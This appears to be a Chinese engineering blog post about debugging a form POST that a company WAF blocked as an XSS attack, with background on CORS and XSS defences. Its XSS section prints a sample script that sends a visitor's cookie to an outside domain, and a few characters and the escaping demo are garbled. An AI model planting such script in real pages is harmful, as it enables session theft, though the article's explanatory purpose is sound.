層層剖析一次 HTTP POST 請(qǐng)求事故
作者 | vivo 互聯(lián)網(wǎng)服務(wù)器團(tuán)隊(duì)- Wei Ling
本文主要講述的是如何根據(jù)公司網(wǎng)絡(luò)架構(gòu)和業(yè)務(wù)特點(diǎn),鎖定正常請(qǐng)求被誤判為跨域的原因并解決。
一、問(wèn)題描述
某一個(gè)業(yè)務(wù)后臺(tái)在表單提交的時(shí)候,報(bào)跨域錯(cuò)誤,具體如下圖:
從圖中可看出,報(bào)錯(cuò)原因?yàn)镠TTP請(qǐng)求發(fā)送失敗,由此,需先了解HTTP請(qǐng)求完整鏈路是什么。
HTTP請(qǐng)求一般經(jīng)過(guò)3個(gè)關(guān)卡,分別為DNS、Nginx、Web服務(wù)器,具體流程如下圖:
- 瀏覽器發(fā)送請(qǐng)求首先到達(dá)當(dāng)?shù)剡\(yùn)營(yíng)商DNS服務(wù)器,經(jīng)過(guò)域名解析獲取請(qǐng)求 IP 地址
- 瀏覽器獲取 IP 地址后,發(fā)送HTTP請(qǐng)求到達(dá)Nginx,由Nginx反向代理到Web服務(wù)端
- 最后,由web服務(wù)端返回相應(yīng)的資源
了解HTTP基本請(qǐng)求鏈路后,結(jié)合問(wèn)題,進(jìn)行初步調(diào)查,發(fā)現(xiàn)此form表單是application/json格式的post提交。同時(shí),此業(yè)務(wù)系統(tǒng)采用了前后端分離的架構(gòu)方式(頁(yè)面域名和后臺(tái)服務(wù)域名不同 ), 并且在Nginx已經(jīng)配置跨域解決方案?;诖耍覀冞M(jìn)行分析。
二、問(wèn)題排查步驟
第一步:自測(cè)定位
既然是form表單,我們采用控制變量法,嘗試對(duì)每一個(gè)字段進(jìn)行修改后提交測(cè)試。在多次試驗(yàn)后,鎖定表單中的moduleExport 字段的變化會(huì)導(dǎo)致這個(gè)問(wèn)題。
考慮到moduleExport字段在業(yè)務(wù)上是一段JS代碼,我們嘗試對(duì)這段JS代碼進(jìn)行刪除/修改,發(fā)現(xiàn):當(dāng)字段moduleExport中的這段js代碼足夠小的時(shí)候,問(wèn)題消失。
基于上述發(fā)現(xiàn),我們第一個(gè)猜想是:會(huì)不會(huì)是HTTP響應(yīng)方的請(qǐng)求body大小限制導(dǎo)致了這個(gè)問(wèn)題。
第二步:排查 HTTP 請(qǐng)求 body 限制
由于采用前后端分離,真實(shí)的請(qǐng)求是由 XXX.XXX.XXX 這個(gè)內(nèi)網(wǎng)域名代表的服務(wù)進(jìn)行響應(yīng)的。而內(nèi)網(wǎng)域名的響應(yīng)鏈如下:
那么理論上,如果是HTTP請(qǐng)求body的限制,則可能發(fā)生在 LVS 層或者Nginx層或者Tomcat。我們一步步排查:
首先排查L(zhǎng)VS層。若LVS層故障,則會(huì)出現(xiàn)網(wǎng)關(guān)異常的問(wèn)題,返回碼會(huì)為502。故此,通過(guò)抓包查看返回碼,從下圖可看出,返回碼為418,故而排除LVS異常的可能
其次排查Nginx 層。Nginx層的HTTP配置如下:
我們看到,在Nginx層,最大支持的HTTP請(qǐng)求body為50m, 而我們這次事故的form請(qǐng)求表單,大約在2M, 遠(yuǎn)小于限制, 所以:不是Nginx 層HTTP請(qǐng)求body的限制造成的。
然后排查 Tomcat 層,查看 Tomcat 配置:
我們發(fā)現(xiàn), Tomcat 對(duì)于最大post請(qǐng)求的size限制是-1, 語(yǔ)義上表示為無(wú)限制,所以: 不是 Tomcat 層HTTP請(qǐng)求body的限制造成的。
綜上,我們可以認(rèn)為:此次問(wèn)題和HTTP請(qǐng)求body的大小限制無(wú)關(guān)。
那么問(wèn)題來(lái)了,如果不是這兩層導(dǎo)致的,那么還會(huì)有別的因素或者別的網(wǎng)絡(luò)層導(dǎo)致的嗎?
第三步:集思廣益
我們把相關(guān)的運(yùn)維方拉到了一個(gè)群里面進(jìn)行討論,討論分兩個(gè)階段
【第一階段】
運(yùn)維方同學(xué)發(fā)現(xiàn) Tomcat 是使用容器進(jìn)行部署的,而容器和nginx層中間,存在一個(gè)容器自帶的nameserver層——ingress。我們查看ingress的相關(guān)配置后,發(fā)現(xiàn)其對(duì)于HTTP請(qǐng)求body的大小限制為3072m。排除是ingress的原因。
【第二階段】
安全方同學(xué)表示,公司為了防止XSS攻擊,會(huì)對(duì)于所有后臺(tái)請(qǐng)求,都進(jìn)行XSS攻擊的校驗(yàn),如果校驗(yàn)不通過(guò),會(huì)報(bào)跨域錯(cuò)誤。
也就是說(shuō),理論上完整的網(wǎng)絡(luò)層調(diào)用鏈如下圖:
并且從WAF的工作機(jī)制和問(wèn)題表象上來(lái)看,很有可能是WAF層的原因。
第四步:WAF 排查
帶著上述的猜測(cè),我們重新抓包,嘗試獲取整個(gè)HTTP請(qǐng)求的optrace路徑,看看是不是在WAF層被攔截了,抓包結(jié)果如下:
從抓包數(shù)據(jù)上來(lái)看,status為complete代表前端請(qǐng)求發(fā)送成功,返回碼為418,而optrace中的ip地址經(jīng)查詢?yōu)閃AF服務(wù)器ip地址。
綜上而言,form表單中的moduleExport字段的變化很可能導(dǎo)致在WAF層被攔截。而出現(xiàn)問(wèn)題的moduleExport字段內(nèi)容如下:
module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
config: {
validator: function(value, callback) {
// 至少填寫(xiě)一項(xiàng)
if(!value || !Object.keys(value).length) {
return callback(new Error('至少填寫(xiě)一項(xiàng)'))
}
callback()
}
}
}
我們進(jìn)行一個(gè)字段一個(gè)字段排查后,鎖定
module.exports.items.properties.configs.config.validator字段會(huì)觸發(fā)WAF的攔截機(jī)制:請(qǐng)求包過(guò)WAF模塊時(shí)會(huì)對(duì)所有的攻擊規(guī)則都會(huì)進(jìn)行匹配,若屬于高危風(fēng)險(xiǎn)規(guī)則,則觸發(fā)攔截動(dòng)作。
三、 問(wèn)題分析
整個(gè)故障的原因,是業(yè)務(wù)請(qǐng)求的內(nèi)容觸發(fā)了WAF的XSS攻擊檢測(cè)。那么問(wèn)題來(lái)了
- 為什么需要WAF
- 什么是XSS攻擊
在說(shuō)明XSS之前,先得說(shuō)清楚瀏覽器的跨域保護(hù)機(jī)制
3.1 跨域保護(hù)機(jī)制
現(xiàn)代瀏覽器都具備‘同源策略’,所謂同源策略,是指只有在地址的:
- 協(xié)議名 HTTPS,HTTP
- 域名
- 端口名
均一樣的情況下,才允許訪問(wèn)相同的cookie、localStorage或是發(fā)送Ajax請(qǐng)求等等。若在不同源的情況下訪問(wèn),就稱為跨域。而在日常開(kāi)發(fā)中,存在合理的跨域需求,比如此次問(wèn)題故障對(duì)應(yīng)的系統(tǒng),由于采用了前后端分離,導(dǎo)致頁(yè)面的域名和后臺(tái)的域名必然不相同。那么如何合理跨域便成了問(wèn)題。
常見(jiàn)的跨域解決方案有:IFRAME, JSONP, CORS三種。
- IFRAME 是在頁(yè)面內(nèi)部生成一個(gè)IFRAME,并在IFRAME內(nèi)部動(dòng)態(tài)編寫(xiě)JS進(jìn)行提交。用到此技術(shù)的有早期的EXT框架等等。
- JSONP 是將請(qǐng)求序列化成一個(gè)string,然后發(fā)起一個(gè)JS請(qǐng)求,帶上string。此做法需要后臺(tái)支持,并且只能使用GET請(qǐng)求。在當(dāng)前的業(yè)內(nèi)已經(jīng)廢除此方案。
- CORS 協(xié)議的應(yīng)用比較廣泛,并且此次出事故的系統(tǒng)是采用了CORS進(jìn)行前后端分離。那么,什么是CORS協(xié)議呢?
3.2 CORS協(xié)議
CORS(Cross-Origin Resource Sharing)跨源資源分享是解決瀏覽器跨域限制的W3C標(biāo)準(zhǔn)(官方文檔),其核心思路是:在HTTP的請(qǐng)求頭中設(shè)置相應(yīng)的字段,瀏覽器在發(fā)現(xiàn)HTTP請(qǐng)求的相關(guān)字段被設(shè)置后,則會(huì)正常發(fā)起請(qǐng)求,后臺(tái)則通過(guò)對(duì)這些字段的校驗(yàn),決定此請(qǐng)求是否是合理的跨域請(qǐng)求。
CORS協(xié)議需要服務(wù)器的支持(非服務(wù)器的業(yè)務(wù)進(jìn)程), 比如 Tomcat 7及其以后的版本等等。
對(duì)于開(kāi)發(fā)者來(lái)說(shuō),CORS通信與同源的AJAX通信沒(méi)有差別,代碼完全一樣。瀏覽器一旦發(fā)現(xiàn)AJAX請(qǐng)求跨源,就會(huì)自動(dòng)添加一些附加的頭信息,有時(shí)還會(huì)多出一次附加的請(qǐng)求,但用戶不會(huì)有感覺(jué)。
因此,實(shí)現(xiàn)CORS通信的關(guān)鍵是服務(wù)器(服務(wù)器端可判斷,讓哪些域可以請(qǐng)求)。只要服務(wù)器實(shí)現(xiàn)了CORS協(xié)議,就可以跨源通信。
雖然CORS解決了跨域問(wèn)題,但引入了風(fēng)險(xiǎn),如XSS攻擊,因此在到達(dá)服務(wù)器之前需加一層Web應(yīng)用防火墻(WAF),它的作用是:過(guò)濾所有請(qǐng)求,當(dāng)發(fā)現(xiàn)請(qǐng)求是跨域時(shí),會(huì)對(duì)整個(gè)請(qǐng)求的報(bào)文進(jìn)行規(guī)則匹配,如果發(fā)現(xiàn)規(guī)則不匹配,則直接報(bào)錯(cuò)返回(類似于此次案例中的418)。
整體流程如下:
不合理的跨域請(qǐng)求,我們一般認(rèn)為是侵略性請(qǐng)求,這一類的請(qǐng)求,我們視為XSS攻擊。那么廣義而言的XSS攻擊又是什么呢?
3.3 XSS 攻擊機(jī)制
XSS為跨站腳本攻擊(Cross-Site Scripting)的縮寫(xiě),可以將代碼注入到用戶瀏覽的網(wǎng)頁(yè)上,這種代碼包括 HTML 和 JavaScript。
例如有一個(gè)論壇網(wǎng)站,攻擊者可以在上面發(fā)布以下內(nèi)容:
<script>location.href="http://domain.com/?c=" + document.cookiescript>
之后該內(nèi)容可能會(huì)被渲染成以下形式:
<p><script>location.href="http://domain.com/?c=" + document.cookie</script></p>
另一個(gè)用戶瀏覽了含有這個(gè)內(nèi)容的頁(yè)面將會(huì)跳轉(zhuǎn)到 domain.com 并攜帶了當(dāng)前作用域的 Cookie。如果這個(gè)論壇網(wǎng)站通過(guò) Cookie 管理用戶登錄狀態(tài),那么攻擊者就可以通過(guò)這個(gè) Cookie 登錄被攻擊者的賬號(hào)了。
XSS通過(guò)偽造虛假的輸入表單騙取個(gè)人信息、顯示偽造的文章或者圖片等方式可竊取用戶的 Cookie,盜用Cookie后就可冒充用戶訪問(wèn)各種系統(tǒng),危害極大。
下面給出2種XSS防御機(jī)制。
3.4 XSS 防御機(jī)制
XSS防御機(jī)制主要包括以下兩點(diǎn):
3.4.1 設(shè)置 Cookie 為 HTTPOnly
設(shè)置了 HTTPOnly 的 Cookie 可以防止 JavaScript 腳本調(diào)用,就無(wú)法通過(guò) document.cookie 獲取用戶 Cookie 信息。
3.4.2 過(guò)濾特殊字符
例如將 < 轉(zhuǎn)義為<,將> 轉(zhuǎn)義為>,從而避免 HTML 和 Jascript 代碼的運(yùn)行。
富文本編輯器允許用戶輸入 HTML 代碼,就不能簡(jiǎn)單地將 < 等字符進(jìn)行過(guò)濾了,極大地提高了 XSS 攻擊的可能性。
富文本編輯器通常采用 XSS filter 來(lái)防范 XSS 攻擊,通過(guò)定義一些標(biāo)簽白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。
以下例子中,form 和 script 等標(biāo)簽都被轉(zhuǎn)義,而 h 和 p 等標(biāo)簽將會(huì)保留。
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
轉(zhuǎn)義后:
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
四、問(wèn)題解決
在確定問(wèn)題后,讓安全團(tuán)隊(duì)修改WAF的攔截規(guī)則后,問(wèn)題消失。
最后,對(duì)此問(wèn)題進(jìn)行總結(jié)。
五、問(wèn)題總結(jié)
縱覽整個(gè)排查過(guò)程,最耗費(fèi)資源的工作集中于問(wèn)題定位:到底是哪個(gè)模塊出現(xiàn)了問(wèn)題。而定位模塊的最大難點(diǎn)在于:對(duì)于網(wǎng)絡(luò)全鏈路的不了解(之前并不知曉WAF層的存在)。
那么,針對(duì)類似的問(wèn)題,我們后面應(yīng)該如何去加速問(wèn)題的解決呢?我認(rèn)為有兩點(diǎn)需要注意:
- 采用控制變量法, 精準(zhǔn)定位到問(wèn)題的邊界——什么時(shí)候能出現(xiàn),什么時(shí)候不能出現(xiàn)。
- 熟悉每一個(gè)模塊的存在,以及每一個(gè)模塊的職責(zé)邊界和風(fēng)險(xiǎn)可能。
下面來(lái)逐個(gè)解釋:
5.1 確定問(wèn)題邊界
我們?cè)谝婚_(kāi)始,確定是form表單導(dǎo)致的問(wèn)題后,我們就逐個(gè)字段進(jìn)行修改驗(yàn)證,最終確定其中某個(gè)字段導(dǎo)致的現(xiàn)象。在定位到具體的問(wèn)題發(fā)生地后,由將之前鎖定的字段進(jìn)行拆解,逐步分析字段中每個(gè)屬性,從而最終確定XX屬性的值觸犯了WAF的規(guī)則機(jī)制。
5.2 定位模塊錯(cuò)誤
在此案例中,跨域拒絕的故障主要是網(wǎng)絡(luò)層,那么我們就必須要摸清楚整個(gè)業(yè)務(wù)服務(wù)的網(wǎng)絡(luò)層次結(jié)構(gòu)。然后對(duì)每一層的情況進(jìn)行分析。
- 在Nginx層,我們對(duì)配置文件進(jìn)行分析
- 在ingress層,我們對(duì)其中的配置規(guī)則進(jìn)行分析
- 在Tomcat層,我們對(duì)server.xml的屬性進(jìn)行分析
總結(jié)而言,我們必須熟悉每一個(gè)模塊的職責(zé),并且知曉如何判斷每一個(gè)模塊是否在整個(gè)鏈路中正常工作,只有基于此,我們才能將問(wèn)題原因的范圍逐步縮小,從而最后獲得答案。